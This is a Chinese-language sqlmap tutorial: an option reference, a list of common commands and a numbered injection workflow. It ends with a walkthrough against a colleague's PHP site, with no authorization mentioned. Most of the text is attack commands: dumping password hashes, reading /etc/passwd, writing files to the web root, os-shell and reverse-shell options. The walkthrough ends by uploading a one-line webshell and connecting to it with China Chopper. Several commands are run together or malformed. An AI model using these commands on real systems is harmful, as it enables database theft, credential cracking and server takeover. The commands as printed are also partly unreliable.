1、簡介
sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL的SQL注入漏洞,目前支援的資料庫是MySQL,
Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨特的SQL注入技術,分别是:
1)基于布爾的盲注,即可以根據傳回頁面判斷條件真假的注入。
2)基于時間的盲注,即不能根據頁面傳回内容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面傳回時間是否增加)來判斷。
3)基于報錯注入,即頁面會傳回錯誤資訊,或者把注入的語句的結果直接傳回在頁面中。
4)聯合查詢注入,可以使用union的情況下的注入。
5)堆查詢注入,可以同時執行多條語句的執行時的注入。
2、參數-u #注入點
--sql-shell 傳回sql shell
-f #指紋判别資料庫類型
-b #擷取資料庫版本資訊
-p #指定可測試的參數(?page=1&id=2 -p "page,id")
-D "" #指定資料庫名
-T "" #指定表名
-C "" #指定字段
-s "" #儲存注入過程到一個檔案,還可中斷,下次恢複在注入(儲存:-s "xx.log" 恢複:-s "xx.log" --resume)
--level=(1-5) #要執行的測試水準等級,預設為1
--risk=(0-3) #測試執行的風險等級,預設為1
--time-sec=(2,5) #延遲響應,預設為5
--data #通過POST發送資料
--columns #列出字段
--current-user #擷取目前使用者名稱
--current-db #擷取目前資料庫名稱
--users #列資料庫所有使用者
--passwords #資料庫使用者所有密碼
--privileges #檢視使用者權限(--privileges -U root)
-U #指定資料庫使用者
–prefix=PREFIX 注入payload 字元串字首
–suffix=SUFFIX 注入 payload 字元串字尾--dbs #列出所有資料庫
--tables -D "" #列出指定資料庫中的表
--columns -T "user" -D "mysql" #列出mysql資料庫中的user表的所有字段
--dump-all #列出所有資料庫所有表
--exclude-sysdbs #隻列出使用者自己建立的資料庫和表
--dump -T "" -D "" -C "" #列出指定資料庫的表的字段的資料(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定資料庫的表的2-4字段的資料
--dbms #指定資料庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0:隻顯示Python的回溯,錯誤和關鍵消息。
1:顯示資訊和警告消息。
2:顯示調試消息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的内容
--privileges #檢視權限
--is-dba #是否是資料庫管理者
--roles #枚舉資料庫使用者角色
--udf-inject #導入使用者自定義函數(擷取系統權限)
--union-check #是否支援union 注入
--union-cols #union 查詢表記錄
--union-test #union 語句測試
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式送出資料(--data "page=1&id=2")
--cookie "用;号分開" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺騙(--referer "http://www.baidu.com")
--user-agent "" #自定義user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定關鍵詞,字元串比對.
--threads #采用多線程(--threads 3)
--sql-shell #執行指定sql指令
--sql-query #執行指定的sql語句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #讀取指定檔案
--file-write #寫入本地檔案(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt檔案寫入到目标的1.txt)
--file-dest #要寫入的檔案絕對路徑
--os-cmd=id #執行系統指令
--os-shell #系統互動shell
--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #讀取win系統系統資料庫
--priv-esc #
--time-sec= #延遲設定 預設--time-sec=5 為5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
3.常用語句
#列出目前庫所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查詢表記錄 python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #擷取目前使用者名稱
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #擷取目前資料庫名稱
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #清單名
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #擷取字段内容
python sqlmap/sqlmap.py -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 執行測試等級
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定資料庫類型
python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列資料庫使用者
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列資料庫
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #資料庫使用者密碼
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定使用者資料庫密碼
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20條
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有資料庫所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #檢視權限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #檢視指定使用者權限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是資料庫管理者
python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚舉資料庫使用者角色
python sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #導入使用者自定義函數(擷取系統權限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #擷取banner資訊
python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入
python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指紋判别資料庫類型 python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定關鍵詞python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #執行指定sql指令python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #執行系統指令python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系統互動shellpython sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反彈shell python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #讀取win系統系統資料庫python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #儲存進度
4.注入流程
簡單的注入流程
1.讀取資料庫版本,目前使用者,目前資料庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判斷目前資料庫使用者權限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 使用者名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 使用者名 -v 1
3.讀取所有資料庫使用者或指定資料庫使用者的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.擷取所有資料庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.擷取指定資料庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.擷取指定資料庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.擷取指定資料庫名中指定表中指定字段的資料
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web檔案
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write寫入檔案到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2
5.實戰演練
拿PHP同僚的一網站示範:
1.手工嘗試網站無SQL注入漏洞
2.使用Acunetix Web Vulnerability 工具掃描,發現有SQL盲注漏洞
6.開工注入:sqlmap.py -r Filename.txt --dbs --level=3

根據爆出來的庫進行爆管理者的表:sqlmap -r filename.txt --level=3 --tables -D DBNAME
sqlmap -r filename.txt --level=3 --columns -T TABLENAME -D DBNAME
sqlmap -r filename.txt --level=3 --dump -C "username,password" -T TABLENAME -D DBNAME
爆出來MD5值,通過相關MD5查詢網站解出密碼,發現背景無上線位址,沒用
使用sqlmap的os-shell的功能
前提是必須爆出網站的實體路徑:此方法比較多,比如:PHPinfo檔案,通路錯誤報路徑,debug調試開啟爆路徑等。sqlmap.py -r filename.txt --os-shell
可以看到已經上傳成功,我們通過這個位址上傳一句話***:
上傳成功一句話***之後,使用菜刀連接配接如圖: